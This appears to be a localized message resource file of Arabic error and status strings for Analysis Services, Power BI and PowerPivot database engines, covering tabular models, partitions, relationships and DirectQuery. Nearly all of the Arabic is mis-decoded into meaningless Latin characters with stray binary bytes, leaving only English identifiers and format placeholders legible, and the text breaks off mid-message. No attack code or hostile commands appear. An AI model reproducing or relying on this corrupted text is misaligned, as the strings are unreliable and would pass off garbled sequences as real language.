(J'F'* *91JA /H1 .'/E EF 'DEDA, '%{filename/}'. HG0' 'D.7# :J1 B'(D DD'3*9'/) HB/ *E %JB'A 'D./E). JO1,I %5D'- 'DE4CD) H%9'/) *4:JD 'D./E). %0' C'F 'D%5D'- :J1 EECF AJ1,I -0A 0DC 'DEDA ('D%6'A) %DI 'D/DJD 'DE*7'(B 0J FA3 'D'3E H0DC %0' C'F EH,H/K' 6EF '%{directory/}'.BD' J-*HJ 'D(O9/ '%{dimname/}' 9DI E,EH9) EB'JJ3 E*7'(B) :J1 5'D-).yJ9/ ProcessAdd 'DE-// D@ %{name/} %{typename/} :J1 5'D- D#(9'/ IMDI %0' C'F 0DC 'D(O9/ EB*1FK' *A5JD'K (#C+1 EF B3E H'-/.�*-*HJ RelationshipEnd 0'* 'D/H1 '%{role/}' 6EF 'D(O9/ '%{dimensionname/}' 9DI 3E) :J1 A1J/) 0'* 'DE91QA '%{id/}' 'D.'5 ('D(O9/ '%{parentid/}'.{D' JECF #F J-*HJ 'D(O9/ '%{dimname/}' 9DI C'&F 9D'B) (JFE' J*E *9JJF .'5J) B'9/) 'D(J'F'* 'StorageEngineUsed' %DI '*BDJ/J'.-'DE3'1 'DF3(J :J1 E9*E/ D@ DBStorageLocation.uJECF AB7 *1BJ) E3*HI 'D*H'AB '%{name/}' 9F 71JB 'D(1E,) 'DF5J) DB'9/) 'D(J'F'* (#CDEG' ((E' AJ 0DC 'DC'&F'* 'D*'(9)).cD' *-*HJ MeasureGroup '%{mgname/}' 9DI #J (O9/ D%9'/) 'D%F4'! #H 9DI #C+1 EF (O9/ %9'/) %F4'! H'-/.PA�J9/ FEH0, BI 'D/D'DJ 'DEH,H/ AJ B'9/) 'D(J'F'* '%{database/}' :J1 E*F'3B. HJ,( #F *-*HJ B'9/) (J'F'* 9DI EC9( 9F/E' *-*HJ B'9/) 'D(J'F'* 9DI #J ,/'HD.�'3E 'D,/HD :J1 E*F'3B: '3E (O9/ B'9/) 'D(J'F'* '%{dimname/}', '3E (O9/ 'DEC9( '%{cubedimname/}', '3E E,EH9) 'DEB'JJ3 '%{mgname/}'.X9// MeasureGroups J(D: '%d{mgcount/}' (JFE' 9// CubeDimensions J(D: '%d{cubedimcount/}'.M9// MeasureGroups J(D: '%d{mgcount/}' (JFE' 9// 'D#(9'/ J(D: '%d{dimcount/}'.�J-*HJ 'D(O9/ '%{dimname/}' 9DI '%d{dimattrcount/}' 3E) (3E'*) (JFE' J-*HJ CubeDimension '%{cubedimname/}' 9DI '%d{cubedimattrcount/}' 3E) (3E'*). HAJ 'DH69 'D,/HDJ, J,( #F J*7'(B 9// 3E'* 'D(O9/ E9 9// 3E'* CubeDimension.�DE J*E 'D9+H1 9DI 'D3E) '%{dimattrname/}' 'D.'5) ('D(O9/ '%{dimname/}' AJ CubeDimension '%{cubedimname/}'. HAJ 'DH69 'D,/HDJ, J,( #F **7'(B #3E'! 'D3E'* AJ CubeDimension E9 #3E'! 'D3E'* AJ 'D(O9/.+'DE3'1 'DF3(J :J1 E9*E/ D@ StorageLocation.�D' **HA1 9EDJ) 'D*-/J+ DDE5FA'* 'D*J *E %F4'$G' ('3*./'E 'D%5/'1 'D#B/E EF PowerPivot. J1,I *1BJ) 'DE5FA 9F 71JB A*-G ('3*./'E #-/+ %5/'1 EF PowerPivot D@ Excel.�*H,/ 9D'B) *-*HJ 9DI #C+1 EF 9F51 ProcessingState H'-/, HG0' #E1 :J1 E3EH- (G. B/ J9FJ G0' H,H/ (J'F'* *91JA B'9/) (J'F'* *'DA).gJ,( #F *-*HJ 'D3E) '%{property/}' 9DI FH9 *E *9JJFG %DI 'ExtendedType' 9F/E' JCHF ExtendedType E91QAK'.Q%F B3E OLAP FB5/ '%{partition/}' D' JECF #F J-*HJ 9DI DirectQueryUsage *E *9JJFG.SBH'9/ 'D(J'F'* E*9//) 'D#(9'/ *9*E/ CompatibilityLevel E3'HJK' D@ 1050 #H 1100 AB7.MD' *9*E/ BH'9/ 'D(J'F'* 'D,/HDJ) 'D1,H9 %DI %5/'1 #B/E EF CompatibilityLevel.vJ,( #F *CHF BJ/ VERSION AJ Discover CSDL ('D*F3JB 'D*'DJ: <9// 5-J->.<9// 5-J->, CE' J,( #F JCHF #C(1 EF #H J3'HJ 1.0.�E3EH- ('D*9DJB'* 'D*H6J-J) 9DI C'&F'* Script Command AB7 DBH'9/ 'D(J'F'* 'D,/HDJ) 0'* CompatibilityLevel 'DE3'HJ D@ 1103 #H #-/+.R*-*HJ B'9/) 'D(J'F'* 9DI #C+1 EF E1(9 H'-/. J,( 9DJC *-/J/ E1(9 E9JF #H '3E EF8H1.PA�JECF AB7 'D*9(J1 9F 'D71'2 'D-'DJ 9F/E' J7D( 'D9EJD (J'F'* *91JA 71JB) 916 E(H() E9 *BJJ/ VERSION .'5 ('D%5/'1 2.0 #H %5/'1 D'-B.BD' JECF #F JCHF 'D-/ MaxCPU AJ ResourcePool #C(1 EF 100 (('DE'&)).�-/+ .7# 9F/ %F4'! E+JD DC'&F (J'F'* *91JA E,E9 EH'1/ EF 'DEDA '%{filename/}'. G0' 'D.7# :J1 B'(D DD'3*9'/) H('D*'DJ *E %JB'A 'D./E). JO1,I %5D'- 'DE4CD) H%9'/) *4:JD 'D./E). %0' DE JCF 'D%5D'- EECFK' A'D1,'! -0A 0DC 'DEDA.�-/+ .7# 9F/ %F4'! E+JD DC'&F (J'F'* *91JA E,EH9) -ED 9ED B'9/) 'D(J'F'* EF 'DEDA '%{filename/}'. G0' 'D.7# :J1 B'(D DD'3*9'/) H('D*'DJ *E %JB'A 'D./E). JO1,I %5D'- 'DE4CD) H%9'/) *4:JD 'D./E). %0' DE JCF 'D%5D'- EECFK' A'D1,'! -0A 0DC 'DEDA.sD' JECF *ECJF 'D*1EJ2 'DEEJ2 DD3E) '%{property/}' AJ 'D(9/ '%{dimension/}' D#F 'D.'/E BJ/ 'D*4:JD AJ 'DH69 ',/HDJ'.jD' JECF *ECJF 'D*1EJ2 'DEEJ2 DD3E) '%{property/}' AJ 'D,/HD '%{table/}' D#FG' DJ3* EH,H/) 6EF 9EH/ ''DF5'.~*901 %F4'! 9D'B) B'9/) ('DE91A '%{relationshipId/}'. HJ,( %F4'! 1E2 EEJ2 DD.'5J) '%{property/} 'DEH,H/) AJ 'D,/HD '%{table/}'.�J,( *9JJF .'5J) ActiveState 'D.'5) (9D'B) (E91A = '%{relationshipId/}' AJ 'D,/HD '%{table/}' %DI '*,'GD' D#FG' DJ3* 9D'B) E9*E/) 9DI B'9/).�J,( *9JJF .'5J) ActiveState 'D.'5) (9D'B) EEJ2) ('DE91A = '%{relationshipId/}' AJ 'D,/HD '%{table/}' %DI 'F47/:J1 F47' D#FG' 9D'B) E9*E/) 9DI B'9/).�'D9D'B) E7DH() (JF 'D,/HD '%{maintable/}' 'D0J J-*HJ 9DI 9EH/ B'(D DD*-1J1 '%{editableattribute/}' H,/HD '*,'H2' '%{overridedimension/}' 'D.'5 (GdJ,( /'&EK' *9JJF 'D.'5J) ColumnUsage %DI 'UnrestrictedUsage'. 'D1,'! 'D*-BB EF 'D3E) '%{property/}'.wJH,/ 9/E '*3'B (JF EDVMP H(J'F'* *91JA B'9/) 'D(J'F'* CE' #FG DE J*E 'D9+H1 9DI (O9/ ('DE91A='%{DimId/}' AJ EDA EDVMP.{J*6EF /H1 '%{strRoleName/}' -3'( E,'D :J1 EH,H/. DE J9/ -3'( E3*./E 'DE,'D 'D*'DJ 5'D-K' DG0' 'D/H1 '%{strDomainAccount/}'.�J,( *9JJF .'5J) ActiveState ('D9D'B) %DI 'ActiveStateIgnore'. 'D1,'! 'D*-BB EF 'D9D'B) ('DE91A: '%{relId/}' AJ 'D,/HD: '%{tableName/}'.�J,( *9JJF .'5J) ActiveState 'D.'5) ('D9D'B) %DI 'F47/:J1 F47' 9F/E' JCHF E3*HI *H'AB B'9/) 'D(J'F'* #C(1 EF 1103. 'D1,'! A-5 9D'B) ('DE91A: '%{relId/}' AJ 'D,/HD: '%{tableName/}'.�:J1 E3EH- (@ DegenerateMeasureGroupDimension AJ E,EH9) 'DEB'JJ3 %D' 9F/E' JCHF E3*HI *H'AB B'9/) 'D(J'F'* #C(1 EF 1103. 'D1,'! 'D*-BB EF 'D%/.'D'* 'DEH,H/) AJ E,EH9) 'DEB'JJ3 DD,/HD: '%{tableName/}'.oA4D* E9'D,) 'D9EH/ 'DE-*3N( (3(( 'DE3'1'* 'DED*(3) (JF 'D,/'HD '%{table1/}' H'%{table2/}': %{path1/} H%{path2/}�J,( /'&EK' *9JJF .'5J) CrossFilterDirection ('D9D'B) %DI 'ToEndFiltersFromEnd'. 'D1,'! 'D*-BB EF 'D9D'B) ('DE91A: '%{relId/}' AJ 'D,/HD: '%{tableName/}'.�BJE) .'5J) CrossFilterDirection HGJ 'FromEndFiltersToEnd' :J1 E/9HE). 'D1,'! A-5 9D'B) ('DE91A: '%{relId/}' AJ 'D,/HD: '%{tableName/}'.�%0' C'F *9// 'D9D'B) (-',) %DI #F JCHF H'-/K' DH'-/ ABE (%F4'! 9D'B*JF H'-/ DH'-/ AJ CD' 'D'*,'GJF (JF '%{dimension1/}'[%{column1/}] H'%{dimension2/}'[%{column2/}].h*-*HJ 'D9D'B) EF 'D9EH/�'%{dimension/}'[%{column/}]�9DI *9// %{from/} %DI %{to/} :J1 5'D-�HGH :J1 E9*E/.*H,/ E4CD) AJ 'D9D'B) (JF '%{dimension1/}'[%{column1/}] H'%{dimension2/}'[%{column2/}]. A'D%9/'/'* 'D-'DJ) D9D'B) FB7) 'DFG'J) 'D#3'3J) HCrossFilterDirection :J1 E*H'AB). HB/ *-*', C+J1K' %DI *:JJ1 9D'B) FB7) 'DFG'J) 'D#3'3J) (H'-/ DC+J1) #H CrossFilterDirection DG0G 'D9D'B).uJ.*DA %5/'1 B'9/) 'D(J'F'* 'D.'5 ('D9B/) 'D(9J/) 9F 0DC 'D.'5 ('D9B/) 'D#3'3J) 'D*J J*E EF .D'DG' *FAJ0 7D( 'DE3*./E.cDE J*E 'D9+H1 9DI EDA'* 'DB3E 'D*'DJ:'%{FileList/}' DD,/HD 'DEOB3NE 'D0J J-ED 'D'3E='%{TblName/}'. jDE J*E -A8 EDA'* 'DB3E 'D*'DJ 9DI 'DB15:'%{FileList/}' HJ*HB9 #F J*E -A8 'DEDA'* #+F'! 'DE9'D,) 'DEH29). ~J,( #F JCHF EDA (J'F'* 'DB3E '%{IDFFile/}' 'D0J *E *-EJDG (H'37) 'D9B/) 'D+'FHJ) EH,H/K' AJ B'&E) EDA'* #(9'/ 'D9B/) 'D#3'3J).yJ,( #D' JCHF EDA (J'F'* 'DB3E '%{IDFFile/}' 'D0J *E *-EJDG (H'37) 'D9B/) 'D+'FHJ) EH,H/K' AJ /DJD (J'F'* 'D9B/) 'D#3'3J).>*E *-EJD EDA :J1 E*HB9 '%{UnexpectedFile/}' (H'37) 9B/) *'(9).DDE J*E *-EJD 'DEDA'* 'DE*HB9) '%{MissingFiles/}' (H'37) 9B/) +'FHJ).7'D( 'D#E1 "'3*/9'! (J'F'* 'D*91JA 'D,/HDJ)" (B'&E) DE91A'* 'D#B3'E 'D*'DJ):  '%{PartIdsList/}'DB'9/) (J'F'* ('DE91AId='%{DbId/}', E91A 'D(9/=Id='%{DimId/}. DE J*E 'D9+H1 9DI 'D#B3'E '%{NotFoundParts/}'. *#C/ EF #F (J'F'* *91JA 'D9B/) 'D*'(9) E7'(B) D(J'F'* *91JA 'D9B/) 'D#3'3J).YB'E ShardDirectory (%1,'9 E91A B3E :J1 5'D-: '%{PartitionId/}' DD(O9/: '%{DimensionId/}'.t'D#E1 InternalProcessPartitions :J1 E/9HE (H'37) 'D.'/E BJ/ 'D*4:JD AJ H69 VertiPaq HAzureMode E9 ScaleOut 'DEECQNF.GD' JECF *FAJ0 'D#E1 InternalProcessPartitions %D' (H'37) E3$HDJ 'D.'/E.QJECF DD#E1 InternalProcessPartitions /9E #FH'9 'DE9'D,) 'D*'DJ) AB7: ProcessData.�J,( #F *F*EJ ,EJ9 'DC'&F'* 'DE-//) AJ #E1 InternalProcessPartitions %DI FA3 B'9/) 'D(J'F'* 'DE-//) (H'37) DatabaseId='%{DatabaseId/}'.=JECF *-/J/ C'&F'* 'DB3E AB7 AJ #E1 InternalProcessPartitions.YD' JECF *FAJ0 'D#E1 Synchronize (H'37) E3$HDJ 'D.'/E %D' 9F/ *4:JD 'D.'/E AJ 'DH69 Azure.x9F/E' JCHF 'D.'/E BJ/ 'D*4:JD AJ H69 Azure AD' JECF *FAJ0 #E1 Synchronize %D' 9F/E' JCHF SynchronizeFromStorage E9JFK'.�.'5J) ActiveState 'D.'5) (9F51 'D(9//'D9D'B'*/'D9D'B'* DJ3* E*2'EF) E9 ReferenceMeasureGroupDimension D9F51 MeasureGroup 'DE7'(B 'D.'5 (B'9/) 'D(J'F'*: '%{database/}'.�*E *ECJF *3D3D GJCDJ DD3E'* D.'5J) 'D(9/ '%{TableId/}'['%{ColumnId/}'] AJ 'D(O9/ 'DE,2#. D0' BE (*9JJF .'5J) ColumnUsage %DI DaxUsage D*97JD 'D*3D3D'* 'DGJCDJ) DD3E'*.�*H,/ E4CD) AJ 'D9D'B) (JF '%{dimension1/}'[%{column1/}] H'%{dimension2/}'[%{column2/}]. HJ,( #D' JCHF DD(O9/ 'DE,2# #J) 9D'B'* H'1/)./%9'/) 'D*3EJ) :J1 E9*E/) AJ E9'END'* ,D3) 'D9EDcDE J*E '9*E'/ 'D,/'HD 'DE-*3(N) D.H'/E Azure BJ/ 'D*4:JD AJ H69 ScaleOut (E91A 'D(O9/='%{DimId/}').r7D( '3*/9'! (J'F'* 'D*91JA 'D,/HDJ) J4*ED 9DI BJ/ (9/ :J1 5-J-'%{DimensionId/}' DB'9/) 'D(J'F'* '%{DatabaseId/}'.g7'D( '3*/9'! (J'F'* 'D*91JA 'D,/HDJ) BJ/ (9/ E*C11 '%{DimensionId/}' DB'9/) 'D(J'F'* '%{DatabaseId/}'.�7D( '3*/9'! (J'F'* 'D*91JA 'D,/HDJ) J4*ED 9DI BJ/ B3E E*C11'%{PartitionId/}' DD(9/ '%{DimensionId/} B'9/) 'D(J'F'* '%{DatabaseId/}'.x7D( '3*/9'! (J'F'* 'D*91JA 'D,/HDJ) J4*ED 9DI B'&E) #B3'E A'1:) DD(9/ '%{DimensionId/} B'9/) 'D(J'F'* '%{DatabaseId/}'.j#+F'! 'DE2'EF) EF RPS DB'9/) 'D(J'F'* ('DE91A Id='%{dbId/}' *E %1,'9 .1J7) %5/'1 A'1:) (H'37) E6JA fabric.�#1,9 ShardDirectory FA3 FB7) 'DFG'J)='%{Endpoint/}' E1*JF 9DI 'D#BD D' J*E 'D3E'- (-'D'* *C1'1 FB7) 'DFG'J). DB7) ShardDirectory: '%{ShardDirSnapshot/}'.�#1,9 ShardDirectory FA3 E91A 'D,2!='%{PartitionId/}' E1*JF 9DI 'D#BD D' J*E 'D3E'- (-'D'* *C1'1 E91A 'D,2!. DB7) ShardDirectory: '%{ShardDirSnapshot/}'.�DE J*E 'D9+H1 9DI 'DB3E 0J 'DE91A='%{PartitionId/}' 'D0J JF*EJ %DI ,/HD ('DE91A='%{TableId/}' AJ 'D/DJD 'DE4*1C. DB7) ShardDirectory: '%{ShardDirSnapshot/}'.E**,'H2 B'9/) 'D(J'F'* '%{DatabaseName/}' 'D-/ 'D#B5I DD-,E 9DI 'DB15.B*901 'D9+H1 9DI ColumnID '%{ColumnId/}' AJ 'D,/HD '%{TableName/}'.8*901 'D9+H1 9DI TableID '%{TableId/}' AJ B'9/) 'D(J'F'*.@*901 'D9+H1 9DI MeasureName '%{MeasureName/}' AJ B'9/) 'D(J'F'*.xJ-*HJ FEH0, 'D(J'F'* 3D3D) *(9J) D,/HD E-*3( 7HJD) ,/K' EF 'DE-*ED #F *CHF *C1'1K'. 'D1,'! 'D*-BB EF 5J: 'D,/HD 'DE-*3(.HA4D /E, EDA E.77 %5/'1 'DE9'ED) '%{fileName/}' %DI E.77 'D%5/'1 'D1&J3J.OA4D /E, EDA E.77 %5/'1 'DE9'ED) '%{fileName/}' %DI E.77 'D%5/'1 'D1&J3J 'D(7J!.M*91JA 'D'3*9D'E DE5/1 'D(J'F'* '%{datasourceid/}' DDB3E '%{partition/}' .'DM.�.'5J) DirectQueryUsage DDB3E '%{partition/}' D' JECF *9JJFG' %DI 'DirectQueryOnly' #H 'InMemoryWithDirectQuery' 9F/E' *CHF .'5J) DirectQueryMode DB'9/) 'D(J'F'* '%{database/}' GJ 'InMemory'.�9EH/ ('D'3E '%{ColumnName/}' EH,H/ ('DA9D AJ 'D,/HD 'DE-3H( ('D'3E '%{CalculatedTableName/}' HE5/1 G0' 'D9EH/ GH 'D,/HD ('D'3E '%{TableName/}'.]9EH/ ('D'3E '%{ColumnName/}' EH,H/ ('DA9D AJ 'D,/HD 'DE-3H( ('D'3E '%{CalculatedTableName/}'.ED' JECF *:JJ1 'D.'5J) StorageEngineMode DB'9/) 'D(J'F'* '%{DBName/}'.�*9(J1 DAX DD,/HD 'DE-*3( '%{table/}' JF*, 9FG FH9 (J'F'* E.*DA DD9EH/ '%{column/}'. 'D1,'! *9/JD 'D'-*3'( E+D #F JCHF DD9EH/ FH9 (J'F'* E*3B.4'DEJ2) ExternalMembers E-,H2) DD'3*./'E AJ 'DE3*B(D.�D' JECF *FAJ0 'D9EDJ) (E' #FG EDA (J'F'* 'D*91JA '%{file_name/}' DB'9/) 'D(J'F'* ('D'3E '%{db_name/}' 'DE91A '%{db_id/}' EH,H/ ('DA9D.G*E %F4'! FEH0, 'D(J'F'* ('3*./'E %5/'1 E9'JF) HDE J9/ EF 'DEECF *-EJDG.(J*E *.AJ6 E1*() B'9/) (J'F'* :J1 E/9HE).dJ-*HJ E5FA Excel 9DI FEH0, J6E 9D'B'* F47) :'E6) #H -DB) EF 'D9D'B'* 'DF47). G0G 'DFE'0, :J1 E/9HE).0'3E 'D+B'A) '%{culture/}' :J1 5'D- #H :J1 E/9HE.�D' JECF *FAJ0 G0' 'D#E1 9DI B'9/) 'D(J'F'* '%{db_name/}' D#FG *E *91JAG E9 *9JJF StorageEngineUsed %DI TabularMetadata. ('DF3() DBH'9/ 'D(J'F'* (G0' 'DH69 9DJC '3*./'E H',G'* (1E,) *7(JB'* ,/HDJ) D%/'1) B'9/) 'D(J'F'*.CD' J*E /9E E9'D,) C'&F'* EF BH'9/ (J'F'* E*9//) AJ 7D( E9'D,) H'-/.�D' JECF *FAJ0 G0' 'D#E1 9DI B'9/) (J'F'* ('D'3E name='%{db_name/}', Id='%{db_id/}' H0DC D#F B'9/) 'D(J'F'* E97D) DD'*5'D'* 6EF 'DF7'B.mJ*901 %D2'E 'DE9'ED) D#F B'9/) 'D(J'F'* ('D'3E name='%{db_name/}', Id='%{db_id/}' E97D) DD'*5'D'* 6EF 'DF7'B.uJ*901 %F4'! '*5'D 6EF 'DF7'B D#F B'9/) 'D(J'F'* ('D'3E name='%{db_name/}', Id='%{db_id/}' E97D) DD'*5'D'* 6EF 'DF7'B.V9/E *7'(B H69 'D.'/E 'DG/A: 'D9EDJ) DisableDatabase :J1 E/9HE) AJ 'DH69 E*9// 'D#(9'/.rA4D /E, EDA E.77 %5/'1 'DE9'ED) 'D-'DJ '%{fileName/}' %DI E.77 'D%5/'1 'D1&J3J 'D(7J! E9 1E2 'D.7#=%d{ErrorCode/}.�-/+ .7# #+F'! %9'/) *3EJ) EBJ'3 'D(1F'E, 'DF5J '%{old_measure_name/}' %DI '3E ,/J/ '%{new_measure_name/}' JH,/ ('DA9D E91A EBJ'3 /'.DJ '%{measure_id/}' AJ E,EH9) EB'JJ3 'D(1F'E, 'DF5J.�-/+ .7# #+F'! %9'/) *3EJ) EBJ'3 'D(1F'E, 'DF5J '%{old_measure_name/}' %DI '3E ,/J/ '%{new_measure_name/}' JH,/ ('DA9D '3E EBJ'3 /'.DJ '%{measure_name/}' AJ E,EH9) EB'JJ3 'D(1F'E, 'DF5J.�J*901 %F4'! '*5'D AJ F7'B D#F DJ3 CD DatabaseId='%{db_id/}', internalDatabaseName='%{internal_db_name/}' HC0DC (3(( *9JJF externalDatabaseName='%{external_db_name/}' (4CD 5-J-.�'DEDA '%{file/}' *'DA. %0 J-*HJ 9DI ".1 7'(9 2EFJ *E *FAJ0G = '%{timestampfile/}' 'D0J J9/ #-/+ EF ".1 7'(9 2EFJ *E *FAJ0G DB'9/) 'D(J'F'* 'D,/HDJ) 9DI 'DB15 = '%{timestampdb/}'.�J,( *9JJF 'D.'5J) DefinitionType AJ 'D9D'B) /'&EK' %DI 'Identity'. 'D1,'! 'D*-BB EF 'D9D'B) ('DE91A: '%{relId/}' AJ 'D,/HD: '%{tableName/}'.KEHB9 'D*.2JF "%{storagelocation/}" DB'9/) 'D(J'F'* "%{database/}" :J1 5'D-. E91A 'D96H E7DH( D96H /H1 .'1,J.G*/9E BH'9/ (J'F'* Azure Analysis Server E3*HI 'D*H'AB 1200 #H #9DI AB7.EAzure Analysis Services D' */9E StorageLocation 'DE.55 DB'9/) (J'F'*.LG0' 'DF41 EF Analysis Services D' J/9E StorageLocation 'DE.55 DB'9/) (J'F'*.OPowerBI Premium Analysis Services D' J/9E StorageLocation 'DE.55 DB'9/) (J'F'*.X9F/ E-'HD) %,1'! 9EDJ) 'D*FAJ0 *CHF -'D) 'DF3.) DD(O9/ H'D,/HD "%{TableId/}" :J1 E*3B).DJ*901 '3*/9'! 'D#E1 Evict AJ E9'ED) (/#G' E3*./E AJ #H /A9) E9'ED'*.6D' JECF *FAJ0 'D#E1 Evict 3HI (H'37) E3$HD 'D.'/E AB7.SJECF *FAJ0 'D#E1 Evict EB'(D B'9/) 'D(J'F'* 'D*J *6E CompatibilityLevel 1100 H#9DI.>D' JECF *FAJ0 'D#E1 Evict EB'(D .'/E *E (G *ECJF EagerLoading.ND' JECF *FAJ0 'D#E1 Evict EB'(D .'/E *E (G *ECJF AutoSetDefaultInitialCatalog.�*E '3*J1'/ B'9/) 'D(J'F'* '%{db_name/}' EF EDA PBIX DCF D' J2'D GF'C (96 9EDJ'* 'D*-HJD 'DD'2E %CE'DG' B(D #F **ECF EF '3*./'EG'. -*I 'C*E'D 'D*-HJD D' JECF *FAJ0 'D'3*9D'E'* %D' (H'37) E3$HD .'/E.KJ*901 '3*/9'! 'D#E1 CommitImport AJ E9'ED) (/#G' E3*./E #H AJ /A9) E9'ED'*.7D' JECF *FAJ0 'D#E1 CommitImport %D' (H'37) E3$HD .'/E.ZD' JECF *FAJ0 'D#E1 CommitImport %D' EB'(D B'9/) (J'F'* *6E CompatibilityLevel 1200 H#9DI.GD' JECF *FAJ0 'D#E1 CommitImport %D' EB'(D B'9/) (J'F'* J,1J '3*J1'/G'.�*E 'D9+H1 9DI EDA (J'F'* *91JA B'9/) 'D(J'F'* '%{db_pathname/}' *'DA #+F'! (/! *4:JD 'D.'/E HDB/ A4D 'D92D F81K' DH,H/ 9/) E,D/'* B'9/) (J'F'* E*7'(B).OH69 DelayLoadModeRequested 1 GH 'DH69 'DH-J/ 'DE/9HE EF EF*, Analysis Services.%H69 DelayLoadModeRequested :J1 E/9HE.?DBStorageLocation :J1 E/9HE 9F/ 'D*4:JD AJ H69 PowerBI Premium.�J-*HJ EDA H5A (J'F'* 'D*91JA '%{filename/}' 9DI C'&F (J'F'* *91JA :J1 E*HB9 '%{id/}' ('D%5/'1 '%d{version/}' HEHB9 'D'-*A'8 ('D%5/'1 '%d{persist_version/}'.A/DJD 'D'-*A'8 '%{directory/}' DB'9/) 'D(J'F'* '%{id/}' :J1 EH,H/.*901 '3*1/'/ B'9/) 'D(J'F'* '%{strDatabaseId/}' D#FG *E *:JJ1 H69 'D'3*E1'1J) D/JG'. G0G -'D) E$B*) HJ,( #F *F,- %9'/) E-'HD).JJH,/ ('DA9D 9EH/ ('D'3E '%{ColumnName/}' AJ 'D,/HD ('D'3E '%{TableName/}'.hE5/1' 'D(J'F'* '%{Datasource1/}' H'%{Datasource2/}' DGE' FA3 E3'1 'DEH'1/ '%{path/}' HG0' :J1 E3EH- (G.GJ6E E5/1 'D(J'F'* '%{Datasource/}' H69 *E+JD D' JECF '3*./'EG DDE9'D,).>D' J4J1 B3E (#B3'E) M AJ H69 DirectQuery %DI #J) E5'/1 (J'F'*.HJ4J1 B3E M AJ H69 DirectQuery %DI E5/1 (J'F'* EHA1 AJ *9(J1 M 'D*'(9 DG.~J4J1 B3E M '%{PartitionName/}' EF 'D,/HD '%{TableName/}' AJ H69 DirectQuery %DI #C+1 EF E5/1 (J'F'* H'-/ AJ *9(J1 M 'D*'(9 DG.TJ3*./E B3E M /'D) (J'F'* *$/J %DI 'DH5HD %DI E5/1 (J'F'* E.*DA 9F 'DE-// AJ 'DFEH0,.DE J*E *ECJF *C'ED E-1C M.?J*901 *9JJF MaxContainerCount %DI BJE) #C(1 EF %d{upperLimit/}.�*4J1 #B3'E Direct Query '%{Partition1/}' DD,/HD '%{Table1/}' H'%{Partition2/}' DD,/HD '%{Table2/}' %DI E5'/1 (J'F'* E.*DA) HG0' :J1 E/9HE.PA[*E *CHJF JSON D(J'F'* 'D'9*E'/ AJ E5/1 'D(J'F'* '%{datasource/}' (4CD :J1 5-J-. %{message/}{*-*HJ 'D.'5J) ConnectionDetails AJ E5/1 'D(J'F'* '%{datasource/}' 9DI E9DE) '3*9D'E. G0' :J1 E/9HE AJ H69 DirectQuery 1400.p*-*HJ 'D.'5J) ConnectionDetails AJ E5/1 'D(J'F'* '%{datasource/}' 9DI E9DE'* :J1 E/9HE) AJ H69 DirectQuery 1400.Z*E *ECJF 'D*4AJ1 AJ E5/1 'D(J'F'* '%{datasource/}'. G0' :J1 E/9HE AJ H69 DirectQuery 1400.jJ-*HJ E5/1 'D(J'F'* '%{datasource/}' 9DI FH9 'DE5'/B) %{authKind/}. G0' :J1 E/9HE AJ H69 DirectQuery 1400.hJ4J1 'D*9(J1 AJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' %DI E*:J1 #H /'D) :J1 E91HA) '%{function/}'.OJ4J1 'D*9(J1 AJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}' %DI CJ'F :J1 E91HA.]*E *CHJF ConnectionDetails JSON AJ E5/1 'D(J'F'* '%{datasource/}' (4CD :J1 5-J- . %{message/}T*E *CHJF JSON DD.J'1'* AJ E5/1 'D(J'F'* '%{datasource/}' (4CD :J1 5-J- . %{message/}=*E *CHJF JSON D@ DataAccessOptions (4CD :J1 5-J-. %{message/}V.7# AJ (F'! 'D,ED) AJ ContextExpression AJ E5/1 'D(J'F'* '%{datasource/}'. %{message/}5.7# AJ (F'! 'D,ED) AJ 'D*9(J1 '%{name/}'. %{message/}N.7# AJ (F'! 'D,ED) AJ 'DB3E '%{partition/}' AJ 'D,/HD '%{table/}'. %{message/}I'3E 'DE3*./E EABH/ EF 'D.'5J) Credential DE5/1 'D(J'F'* '%{datasource/}'.0*-DJD *#+J1 FG, 'D*-/J+ E/9HE AB7 DFH9 'DE5/1 M.1*9(J1 'D*-BB A'1: J*901 *-DJD *#+J1 FG, 'D*-/J+.kA4D *-HJD E5/1 'D(J'F'* EF *F3JB Power BI %DI AS Engine D#FG DE J*E 'D9+H1 9DI EB79 'DE2, AJ 3D3D) 'D'*5'D.lA4D *-HJD E5/1 'D(J'F'* EF *F3JB Power BI %DI AS Engine D#FG DE J*E 'D9+H1 9DI EB79 'DEHB9 AJ 3D3D) 'D'*5'D.]A4D *-HJD E5/1 'D(J'F'* EF *F3JB Power BI %DI E-1C AS D#FG (9/ %D:'! 'D6:7 A4D *-EJD 'D-2E).zA4D *-HJD E5/1 'D(J'F'* EF *F3JB Power BI %DI AS Engine D#FG (9/ %D:'! 'D6:7 *E 'C*4'A #F 'D-2E) C(J1) ,/K' DJ*E *-EJDG'.1A4D '3*(/'D E9DE) E9 'D.7# 'D*'DJ: '%{message/}'.\.7# AJ (F'! 'D,ED) AJ FG, 'D*-/J+ DD*9(J1 %{expressionType/} DD,/HD '%{table/}'. %{message/}.7# AJ E-1C M: '%{message/}'.7D' JECF #F J-*HJ 'D,/HD '%{table/}' 9DI #B3'E M E*9//).w9/E '*3'B AJ FE'0, E5/1 'D(J'F'* (*F3JB 'D%5/'1 1 EF Power BI -J+ *E 'D9+H1 9DI 'D'3*9D'E'* 'DEC11) (FA3 '3E 'D'3*9D'E.�9/E '*3'B AJ FE'0, E5/1 'D(J'F'* (*F3JB 'D%5/'1 1 EF Power BI -J+ *E 'D9+H1 9DI 'D'3*9D'E'* 'DEC11) (FA3 '3E 'D'3*9D'E. *E 'D9+H1 9DI 'DBJE 'DEC11) AJ 'D'3*9D'E'* 'DE4*1C).1-/+ .7# E' AJ E9DE'* *7(JB 'DEC9(: '%{message/}'.PA+EHA1 Microsoft OLE DB D@ Analysis Services.:B'E 'D.'/E (%1,'9 'D*-0J1 'D*'DJ: %u{HR/} (%{ErrorText/}).PA8B'E 'D.'/E (%1,'9 'D.7# 'D*'DJ: %u{HR/} (%{ErrorText/}).?E5/1 #H EHB9 'D(J'F'* :J1 5'D-. BE (*HAJ1 .'/E 5'D- DD'*5'D (G.[%E' #F 'DE3*./E DJ3 D/JG -B 'DH5HD %DI 'DC*'DH, '%{strCatalog/}' #H #F 'DC*'DH, :J1 EH,H/.ID' JECF 'D9+H1 9DI E+JD 5'D- J3EI '%{instance/}' 9DI 'D.'/E '%{server/}'.--/+ .7# AJ E9'D,) 'DF*'&, 'D*J #1,9G' 'D.'/E.H-/+ .7# (JFE' C'F* **E *GJ&) EC*() *-HJD (J'F'* OLE DB ('DECHF 'D.'1,J).N-/+ .7# (JFE' C'F J*E 